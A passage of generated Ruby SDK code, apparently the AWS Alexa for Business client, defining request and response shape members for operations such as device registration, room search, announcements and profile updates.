true, location_name: "ProductId")) RegisterAVSDeviceRequest.add_member(:device_serial_number, Shapes::ShapeRef.new(shape: DeviceSerialNumberForAVS, location_name: "DeviceSerialNumber")) RegisterAVSDeviceRequest.add_member(:amazon_id, Shapes::ShapeRef.new(shape: AmazonId, required: true, location_name: "AmazonId")) RegisterAVSDeviceRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) RegisterAVSDeviceRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) RegisterAVSDeviceRequest.struct_class = Types::RegisterAVSDeviceRequest RegisterAVSDeviceResponse.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) RegisterAVSDeviceResponse.struct_class = Types::RegisterAVSDeviceResponse RejectSkillRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) RejectSkillRequest.struct_class = Types::RejectSkillRequest RejectSkillResponse.struct_class = Types::RejectSkillResponse RequireCheckIn.add_member(:release_after_minutes, Shapes::ShapeRef.new(shape: Minutes, location_name: "ReleaseAfterMinutes")) RequireCheckIn.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "Enabled")) RequireCheckIn.struct_class = Types::RequireCheckIn ResolveRoomRequest.add_member(:user_id, Shapes::ShapeRef.new(shape: UserId, required: true, location_name: "UserId")) ResolveRoomRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) ResolveRoomRequest.struct_class = Types::ResolveRoomRequest ResolveRoomResponse.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) ResolveRoomResponse.add_member(:room_name, Shapes::ShapeRef.new(shape: RoomName, location_name: "RoomName")) ResolveRoomResponse.add_member(:room_skill_parameters, Shapes::ShapeRef.new(shape: RoomSkillParameters, location_name: "RoomSkillParameters")) ResolveRoomResponse.struct_class = Types::ResolveRoomResponse ResourceAssociatedException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) ResourceAssociatedException.struct_class = Types::ResourceAssociatedException ResourceInUseException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) ResourceInUseException.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken")) ResourceInUseException.struct_class = Types::ResourceInUseException Reviews.key = Shapes::ShapeRef.new(shape: ReviewKey) Reviews.value = Shapes::ShapeRef.new(shape: ReviewValue) RevokeInvitationRequest.add_member(:user_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "UserArn")) RevokeInvitationRequest.add_member(:enrollment_id, Shapes::ShapeRef.new(shape: EnrollmentId, location_name: "EnrollmentId")) RevokeInvitationRequest.struct_class = Types::RevokeInvitationRequest RevokeInvitationResponse.struct_class = Types::RevokeInvitationResponse Room.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) Room.add_member(:room_name, Shapes::ShapeRef.new(shape: RoomName, location_name: "RoomName")) Room.add_member(:description, Shapes::ShapeRef.new(shape: RoomDescription, location_name: "Description")) Room.add_member(:provider_calendar_id, Shapes::ShapeRef.new(shape: ProviderCalendarId, location_name: "ProviderCalendarId")) Room.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) Room.struct_class = Types::Room RoomData.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) RoomData.add_member(:room_name, Shapes::ShapeRef.new(shape: RoomName, location_name: "RoomName")) RoomData.add_member(:description, Shapes::ShapeRef.new(shape: RoomDescription, location_name: "Description")) RoomData.add_member(:provider_calendar_id, Shapes::ShapeRef.new(shape: ProviderCalendarId, location_name: "ProviderCalendarId")) RoomData.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) RoomData.add_member(:profile_name, Shapes::ShapeRef.new(shape: ProfileName, location_name: "ProfileName")) RoomData.struct_class = Types::RoomData RoomDataList.member = Shapes::ShapeRef.new(shape: RoomData) RoomSkillParameter.add_member(:parameter_key, Shapes::ShapeRef.new(shape: RoomSkillParameterKey, required: true, location_name: "ParameterKey")) RoomSkillParameter.add_member(:parameter_value, Shapes::ShapeRef.new(shape: RoomSkillParameterValue, required: true, location_name: "ParameterValue")) RoomSkillParameter.struct_class = Types::RoomSkillParameter RoomSkillParameters.member = Shapes::ShapeRef.new(shape: RoomSkillParameter) SampleUtterances.member = Shapes::ShapeRef.new(shape: Utterance) SearchAddressBooksRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchAddressBooksRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchAddressBooksRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchAddressBooksRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchAddressBooksRequest.struct_class = Types::SearchAddressBooksRequest SearchAddressBooksResponse.add_member(:address_books, Shapes::ShapeRef.new(shape: AddressBookDataList, location_name: "AddressBooks")) SearchAddressBooksResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchAddressBooksResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchAddressBooksResponse.struct_class = Types::SearchAddressBooksResponse SearchContactsRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchContactsRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchContactsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchContactsRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchContactsRequest.struct_class = Types::SearchContactsRequest SearchContactsResponse.add_member(:contacts, Shapes::ShapeRef.new(shape: ContactDataList, location_name: "Contacts")) SearchContactsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchContactsResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchContactsResponse.struct_class = Types::SearchContactsResponse SearchDevicesRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchDevicesRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchDevicesRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchDevicesRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchDevicesRequest.struct_class = Types::SearchDevicesRequest SearchDevicesResponse.add_member(:devices, Shapes::ShapeRef.new(shape: DeviceDataList, location_name: "Devices")) SearchDevicesResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchDevicesResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchDevicesResponse.struct_class = Types::SearchDevicesResponse SearchNetworkProfilesRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchNetworkProfilesRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchNetworkProfilesRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchNetworkProfilesRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchNetworkProfilesRequest.struct_class = Types::SearchNetworkProfilesRequest SearchNetworkProfilesResponse.add_member(:network_profiles, Shapes::ShapeRef.new(shape: NetworkProfileDataList, location_name: "NetworkProfiles")) SearchNetworkProfilesResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchNetworkProfilesResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchNetworkProfilesResponse.struct_class = Types::SearchNetworkProfilesResponse SearchProfilesRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchProfilesRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchProfilesRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchProfilesRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchProfilesRequest.struct_class = Types::SearchProfilesRequest SearchProfilesResponse.add_member(:profiles, Shapes::ShapeRef.new(shape: ProfileDataList, location_name: "Profiles")) SearchProfilesResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchProfilesResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchProfilesResponse.struct_class = Types::SearchProfilesResponse SearchRoomsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchRoomsRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchRoomsRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchRoomsRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchRoomsRequest.struct_class = Types::SearchRoomsRequest SearchRoomsResponse.add_member(:rooms, Shapes::ShapeRef.new(shape: RoomDataList, location_name: "Rooms")) SearchRoomsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchRoomsResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchRoomsResponse.struct_class = Types::SearchRoomsResponse SearchSkillGroupsRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchSkillGroupsRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchSkillGroupsRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchSkillGroupsRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchSkillGroupsRequest.struct_class = Types::SearchSkillGroupsRequest SearchSkillGroupsResponse.add_member(:skill_groups, Shapes::ShapeRef.new(shape: SkillGroupDataList, location_name: "SkillGroups")) SearchSkillGroupsResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchSkillGroupsResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchSkillGroupsResponse.struct_class = Types::SearchSkillGroupsResponse SearchUsersRequest.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchUsersRequest.add_member(:max_results, Shapes::ShapeRef.new(shape: MaxResults, location_name: "MaxResults")) SearchUsersRequest.add_member(:filters, Shapes::ShapeRef.new(shape: FilterList, location_name: "Filters")) SearchUsersRequest.add_member(:sort_criteria, Shapes::ShapeRef.new(shape: SortList, location_name: "SortCriteria")) SearchUsersRequest.struct_class = Types::SearchUsersRequest SearchUsersResponse.add_member(:users, Shapes::ShapeRef.new(shape: UserDataList, location_name: "Users")) SearchUsersResponse.add_member(:next_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextToken")) SearchUsersResponse.add_member(:total_count, Shapes::ShapeRef.new(shape: TotalCount, location_name: "TotalCount")) SearchUsersResponse.struct_class = Types::SearchUsersResponse SendAnnouncementRequest.add_member(:room_filters, Shapes::ShapeRef.new(shape: FilterList, required: true, location_name: "RoomFilters")) SendAnnouncementRequest.add_member(:content, Shapes::ShapeRef.new(shape: Content, required: true, location_name: "Content")) SendAnnouncementRequest.add_member(:time_to_live_in_seconds, Shapes::ShapeRef.new(shape: TimeToLiveInSeconds, location_name: "TimeToLiveInSeconds")) SendAnnouncementRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, required: true, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) SendAnnouncementRequest.struct_class = Types::SendAnnouncementRequest SendAnnouncementResponse.add_member(:announcement_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "AnnouncementArn")) SendAnnouncementResponse.struct_class = Types::SendAnnouncementResponse SendInvitationRequest.add_member(:user_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "UserArn")) SendInvitationRequest.struct_class = Types::SendInvitationRequest SendInvitationResponse.struct_class = Types::SendInvitationResponse ShortSkillIdList.member = Shapes::ShapeRef.new(shape: SkillId) SipAddress.add_member(:uri, Shapes::ShapeRef.new(shape: SipUri, required: true, location_name: "Uri")) SipAddress.add_member(:type, Shapes::ShapeRef.new(shape: SipType, required: true, location_name: "Type")) SipAddress.struct_class = Types::SipAddress SipAddressList.member = Shapes::ShapeRef.new(shape: SipAddress) SkillDetails.add_member(:product_description, Shapes::ShapeRef.new(shape: ProductDescription, location_name: "ProductDescription")) SkillDetails.add_member(:invocation_phrase, Shapes::ShapeRef.new(shape: InvocationPhrase, location_name: "InvocationPhrase")) SkillDetails.add_member(:release_date, Shapes::ShapeRef.new(shape: ReleaseDate, location_name: "ReleaseDate")) SkillDetails.add_member(:end_user_license_agreement, Shapes::ShapeRef.new(shape: EndUserLicenseAgreement, location_name: "EndUserLicenseAgreement")) SkillDetails.add_member(:generic_keywords, Shapes::ShapeRef.new(shape: GenericKeywords, location_name: "GenericKeywords")) SkillDetails.add_member(:bullet_points, Shapes::ShapeRef.new(shape: BulletPoints, location_name: "BulletPoints")) SkillDetails.add_member(:new_in_this_version_bullet_points, Shapes::ShapeRef.new(shape: NewInThisVersionBulletPoints, location_name: "NewInThisVersionBulletPoints")) SkillDetails.add_member(:skill_types, Shapes::ShapeRef.new(shape: SkillTypes, location_name: "SkillTypes")) SkillDetails.add_member(:reviews, Shapes::ShapeRef.new(shape: Reviews, location_name: "Reviews")) SkillDetails.add_member(:developer_info, Shapes::ShapeRef.new(shape: DeveloperInfo, location_name: "DeveloperInfo")) SkillDetails.struct_class = Types::SkillDetails SkillGroup.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) SkillGroup.add_member(:skill_group_name, Shapes::ShapeRef.new(shape: SkillGroupName, location_name: "SkillGroupName")) SkillGroup.add_member(:description, Shapes::ShapeRef.new(shape: SkillGroupDescription, location_name: "Description")) SkillGroup.struct_class = Types::SkillGroup SkillGroupData.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) SkillGroupData.add_member(:skill_group_name, Shapes::ShapeRef.new(shape: SkillGroupName, location_name: "SkillGroupName")) SkillGroupData.add_member(:description, Shapes::ShapeRef.new(shape: SkillGroupDescription, location_name: "Description")) SkillGroupData.struct_class = Types::SkillGroupData SkillGroupDataList.member = Shapes::ShapeRef.new(shape: SkillGroupData) SkillNotLinkedException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) SkillNotLinkedException.struct_class = Types::SkillNotLinkedException SkillSummary.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, location_name: "SkillId")) SkillSummary.add_member(:skill_name, Shapes::ShapeRef.new(shape: SkillName, location_name: "SkillName")) SkillSummary.add_member(:supports_linking, Shapes::ShapeRef.new(shape: boolean, location_name: "SupportsLinking")) SkillSummary.add_member(:enablement_type, Shapes::ShapeRef.new(shape: EnablementType, location_name: "EnablementType")) SkillSummary.add_member(:skill_type, Shapes::ShapeRef.new(shape: SkillType, location_name: "SkillType")) SkillSummary.struct_class = Types::SkillSummary SkillSummaryList.member = Shapes::ShapeRef.new(shape: SkillSummary) SkillTypes.member = Shapes::ShapeRef.new(shape: SkillStoreType) SkillsStoreSkill.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, location_name: "SkillId")) SkillsStoreSkill.add_member(:skill_name, Shapes::ShapeRef.new(shape: SkillName, location_name: "SkillName")) SkillsStoreSkill.add_member(:short_description, Shapes::ShapeRef.new(shape: ShortDescription, location_name: "ShortDescription")) SkillsStoreSkill.add_member(:icon_url, Shapes::ShapeRef.new(shape: IconUrl, location_name: "IconUrl")) SkillsStoreSkill.add_member(:sample_utterances, Shapes::ShapeRef.new(shape: SampleUtterances, location_name: "SampleUtterances")) SkillsStoreSkill.add_member(:skill_details, Shapes::ShapeRef.new(shape: SkillDetails, location_name: "SkillDetails")) SkillsStoreSkill.add_member(:supports_linking, Shapes::ShapeRef.new(shape: boolean, location_name: "SupportsLinking")) SkillsStoreSkill.struct_class = Types::SkillsStoreSkill SkillsStoreSkillList.member = Shapes::ShapeRef.new(shape: SkillsStoreSkill) SmartHomeAppliance.add_member(:friendly_name, Shapes::ShapeRef.new(shape: ApplianceFriendlyName, location_name: "FriendlyName")) SmartHomeAppliance.add_member(:description, Shapes::ShapeRef.new(shape: ApplianceDescription, location_name: "Description")) SmartHomeAppliance.add_member(:manufacturer_name, Shapes::ShapeRef.new(shape: ApplianceManufacturerName, location_name: "ManufacturerName")) SmartHomeAppliance.struct_class = Types::SmartHomeAppliance SmartHomeApplianceList.member = Shapes::ShapeRef.new(shape: SmartHomeAppliance) Sort.add_member(:key, Shapes::ShapeRef.new(shape: SortKey, required: true, location_name: "Key")) Sort.add_member(:value, Shapes::ShapeRef.new(shape: SortValue, required: true, location_name: "Value")) Sort.struct_class = Types::Sort SortList.member = Shapes::ShapeRef.new(shape: Sort) Ssml.add_member(:locale, Shapes::ShapeRef.new(shape: Locale, required: true, location_name: "Locale")) Ssml.add_member(:value, Shapes::ShapeRef.new(shape: SsmlValue, required: true, location_name: "Value")) Ssml.struct_class = Types::Ssml SsmlList.member = Shapes::ShapeRef.new(shape: Ssml) StartDeviceSyncRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) StartDeviceSyncRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) StartDeviceSyncRequest.add_member(:features, Shapes::ShapeRef.new(shape: Features, required: true, location_name: "Features")) StartDeviceSyncRequest.struct_class = Types::StartDeviceSyncRequest StartDeviceSyncResponse.struct_class = Types::StartDeviceSyncResponse StartSmartHomeApplianceDiscoveryRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "RoomArn")) StartSmartHomeApplianceDiscoveryRequest.struct_class = Types::StartSmartHomeApplianceDiscoveryRequest StartSmartHomeApplianceDiscoveryResponse.struct_class = Types::StartSmartHomeApplianceDiscoveryResponse Tag.add_member(:key, Shapes::ShapeRef.new(shape: TagKey, required: true, location_name: "Key")) Tag.add_member(:value, Shapes::ShapeRef.new(shape: TagValue, required: true, location_name: "Value")) Tag.struct_class = Types::Tag TagKeyList.member = Shapes::ShapeRef.new(shape: TagKey) TagList.member = Shapes::ShapeRef.new(shape: Tag) TagResourceRequest.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "Arn")) TagResourceRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, required: true, location_name: "Tags")) TagResourceRequest.struct_class = Types::TagResourceRequest TagResourceResponse.struct_class = Types::TagResourceResponse Text.add_member(:locale, Shapes::ShapeRef.new(shape: Locale, required: true, location_name: "Locale")) Text.add_member(:value, Shapes::ShapeRef.new(shape: TextValue, required: true, location_name: "Value")) Text.struct_class = Types::Text TextList.member = Shapes::ShapeRef.new(shape: Text) TrustAnchorList.member = Shapes::ShapeRef.new(shape: TrustAnchor) UnauthorizedException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) UnauthorizedException.struct_class = Types::UnauthorizedException UntagResourceRequest.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "Arn")) UntagResourceRequest.add_member(:tag_keys, Shapes::ShapeRef.new(shape: TagKeyList, required: true, location_name: "TagKeys")) UntagResourceRequest.struct_class = Types::UntagResourceRequest UntagResourceResponse.struct_class = Types::UntagResourceResponse UpdateAddressBookRequest.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "AddressBookArn")) UpdateAddressBookRequest.add_member(:name, Shapes::ShapeRef.new(shape: AddressBookName, location_name: "Name")) UpdateAddressBookRequest.add_member(:description, Shapes::ShapeRef.new(shape: AddressBookDescription, location_name: "Description")) UpdateAddressBookRequest.struct_class = Types::UpdateAddressBookRequest UpdateAddressBookResponse.struct_class = Types::UpdateAddressBookResponse UpdateBusinessReportScheduleRequest.add_member(:schedule_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ScheduleArn")) UpdateBusinessReportScheduleRequest.add_member(:s3_bucket_name, Shapes::ShapeRef.new(shape: CustomerS3BucketName, location_name: "S3BucketName")) UpdateBusinessReportScheduleRequest.add_member(:s3_key_prefix, Shapes::ShapeRef.new(shape: S3KeyPrefix, location_name: "S3KeyPrefix")) UpdateBusinessReportScheduleRequest.add_member(:format, Shapes::ShapeRef.new(shape: BusinessReportFormat, location_name: "Format")) UpdateBusinessReportScheduleRequest.add_member(:schedule_name, Shapes::ShapeRef.new(shape: BusinessReportScheduleName, location_name: "ScheduleName")) UpdateBusinessReportScheduleRequest.add_member(:recurrence, Shapes::ShapeRef.new(shape: BusinessReportRecurrence, location_name: "Recurrence")) UpdateBusinessReportScheduleRequest.struct_class = Types::UpdateBusinessReportScheduleRequest UpdateBusinessReportScheduleResponse.struct_class = Types::UpdateBusinessReportScheduleResponse UpdateConferenceProviderRequest.add_member(:conference_provider_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ConferenceProviderArn")) UpdateConferenceProviderRequest.add_member(:conference_provider_type, Shapes::ShapeRef.new(shape: ConferenceProviderType, required: true, location_name: "ConferenceProviderType")) UpdateConferenceProviderRequest.add_member(:ip_dial_in, Shapes::ShapeRef.new(shape: IPDialIn, location_name: "IPDialIn")) UpdateConferenceProviderRequest.add_member(:pstn_dial_in, Shapes::ShapeRef.new(shape: PSTNDialIn, location_name: "PSTNDialIn")) UpdateConferenceProviderRequest.add_member(:meeting_setting, Shapes::ShapeRef.new(shape: MeetingSetting, required: true, location_name: "MeetingSetting")) UpdateConferenceProviderRequest.struct_class = Types::UpdateConferenceProviderRequest UpdateConferenceProviderResponse.struct_class = Types::UpdateConferenceProviderResponse UpdateContactRequest.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ContactArn")) UpdateContactRequest.add_member(:display_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "DisplayName")) UpdateContactRequest.add_member(:first_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "FirstName")) UpdateContactRequest.add_member(:last_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "LastName")) UpdateContactRequest.add_member(:phone_number, Shapes::ShapeRef.new(shape: RawPhoneNumber, location_name: "PhoneNumber")) UpdateContactRequest.add_member(:phone_numbers, Shapes::ShapeRef.new(shape: PhoneNumberList, location_name: "PhoneNumbers")) UpdateContactRequest.add_member(:sip_addresses, Shapes::ShapeRef.new(shape: SipAddressList, location_name: "SipAddresses")) UpdateContactRequest.struct_class = Types::UpdateContactRequest UpdateContactResponse.struct_class = Types::UpdateContactResponse UpdateDeviceRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) UpdateDeviceRequest.add_member(:device_name, Shapes::ShapeRef.new(shape: DeviceName, location_name: "DeviceName")) UpdateDeviceRequest.struct_class = Types::UpdateDeviceRequest UpdateDeviceResponse.struct_class = Types::UpdateDeviceResponse UpdateEndOfMeetingReminder.add_member(:reminder_at_minutes, Shapes::ShapeRef.new(shape: EndOfMeetingReminderMinutesList, location_name: "ReminderAtMinutes")) UpdateEndOfMeetingReminder.add_member(:reminder_type, Shapes::ShapeRef.new(shape: EndOfMeetingReminderType, location_name: "ReminderType")) UpdateEndOfMeetingReminder.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "Enabled")) UpdateEndOfMeetingReminder.struct_class = Types::UpdateEndOfMeetingReminder UpdateGatewayGroupRequest.add_member(:gateway_group_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "GatewayGroupArn")) UpdateGatewayGroupRequest.add_member(:name, Shapes::ShapeRef.new(shape: GatewayGroupName, location_name: "Name")) UpdateGatewayGroupRequest.add_member(:description, Shapes::ShapeRef.new(shape: GatewayGroupDescription, location_name: "Description")) UpdateGatewayGroupRequest.struct_class = Types::UpdateGatewayGroupRequest UpdateGatewayGroupResponse.struct_class = Types::UpdateGatewayGroupResponse UpdateGatewayRequest.add_member(:gateway_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "GatewayArn")) UpdateGatewayRequest.add_member(:name, Shapes::ShapeRef.new(shape: GatewayName, location_name: "Name")) UpdateGatewayRequest.add_member(:description, Shapes::ShapeRef.new(shape: GatewayDescription, location_name: "Description")) UpdateGatewayRequest.add_member(:software_version, Shapes::ShapeRef.new(shape: GatewayVersion, location_name: "SoftwareVersion")) UpdateGatewayRequest.struct_class = Types::UpdateGatewayRequest UpdateGatewayResponse.struct_class = Types::UpdateGatewayResponse UpdateInstantBooking.add_member(:duration_in_minutes, Shapes::ShapeRef.new(shape: Minutes, location_name: "DurationInMinutes")) UpdateInstantBooking.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "Enabled")) UpdateInstantBooking.struct_class = Types::UpdateInstantBooking UpdateMeetingRoomConfiguration.add_member(:room_utilization_metrics_enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "RoomUtilizationMetricsEnabled")) UpdateMeetingRoomConfiguration.add_member(:end_of_meeting_reminder, Shapes::ShapeRef.new(shape: UpdateEndOfMeetingReminder, location_name: "EndOfMeetingReminder")) UpdateMeetingRoomConfiguration.add_member(:instant_booking, Shapes::ShapeRef.new(shape: UpdateInstantBooking, location_name: "InstantBooking")) UpdateMeetingRoomConfiguration.add_member(:require_check_in, Shapes::ShapeRef.new(shape: UpdateRequireCheckIn, location_name: "RequireCheckIn")) UpdateMeetingRoomConfiguration.struct_class = Types::UpdateMeetingRoomConfiguration UpdateNetworkProfileRequest.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "NetworkProfileArn")) UpdateNetworkProfileRequest.add_member(:network_profile_name, Shapes::ShapeRef.new(shape: NetworkProfileName, location_name: "NetworkProfileName")) UpdateNetworkProfileRequest.add_member(:description, Shapes::ShapeRef.new(shape: NetworkProfileDescription, location_name: "Description")) UpdateNetworkProfileRequest.add_member(:current_password, Shapes::ShapeRef.new(shape: CurrentWiFiPassword, location_name: "CurrentPassword")) UpdateNetworkProfileRequest.add_member(:next_password, Shapes::ShapeRef.new(shape: NextWiFiPassword, location_name: "NextPassword")) UpdateNetworkProfileRequest.add_member(:certificate_authority_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "CertificateAuthorityArn")) UpdateNetworkProfileRequest.add_member(:trust_anchors, Shapes::ShapeRef.new(shape: TrustAnchorList, location_name: "TrustAnchors")) UpdateNetworkProfileRequest.struct_class = Types::UpdateNetworkProfileRequest UpdateNetworkProfileResponse.struct_class = Types::UpdateNetworkProfileResponse UpdateProfileRequest.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) UpdateProfileRequest.add_member(:profile_name, Shapes::ShapeRef.new(shape: ProfileName, location_name: "ProfileName")) UpdateProfileRequest.add_member(:is_default, Shapes::ShapeRef.new(shape: Boolean, location_name: "IsDefault")) UpdateProfileRequest.add_member(:timezone, Shapes::ShapeRef.new(shape: Timezone, location_name: "Timezone")) UpdateProfileRequest.add_member(:address, Shapes::ShapeRef.new(shape: Address, location_name: "Address")) UpdateProfileRequest.add_member(:distance_unit, Shapes::ShapeRef.new(shape: DistanceUnit, location_name: "DistanceUnit")) UpdateProfileRequest.add_member(:temperature_unit, Shapes::ShapeRef.new(shape: TemperatureUnit, location_name: "TemperatureUnit")) UpdateProfileRequest.add_member(:wake_word, Shapes::ShapeRef.new(shape: WakeWord, location_name: "WakeWord")) UpdateProfileRequest.add_member(:locale, Shapes::ShapeRef.new(shape: DeviceLocale, location_name: "Locale")) UpdateProfileRequest.add_member(:setup_mode_disabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "SetupModeDisabled")) UpdateProfileRequest.add_member(:max_volume_limit, Shapes::ShapeRef.new(shape: MaxVolumeLimit, location_name: "MaxVolumeLimit")) UpdateProfileRequest.add_member(:pstn_enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "PSTNEnabled")) UpdateProfileRequest.add_member(:meeting_room_configuration, Shapes::ShapeRef.new(shape: UpdateMeetingRoomConfiguration, location_name: "MeetingRoomConfiguration")) UpdateProfileRequest.struct_class = Types::UpdateProfileRequest UpdateProfileResponse.struct_class = Types::UpdateProfileResponse UpdateRequireCheckIn.add_member(:release_after_minutes, Shapes::ShapeRef.new(shape: Minutes, location_name: "ReleaseAfterMinutes")) UpdateRequireCheckIn.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "Enabled")) UpdateRequireCheckIn.struct_class = Types::UpdateRequireCheckIn UpdateRoomRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) UpdateRoomRequest.add_member(:room_name, Shapes::ShapeRef.new(shape: RoomName, location_name: "RoomName")) UpdateRoomRequest.add_member(:description, Shapes::ShapeRef.new(shape: RoomDescription, location_name: "Description")) UpdateRoomRequest.add_member(:provider_calendar_id, Shapes::ShapeRef.new(shape: ProviderCalendarId, location_name: "ProviderCalendarId")) 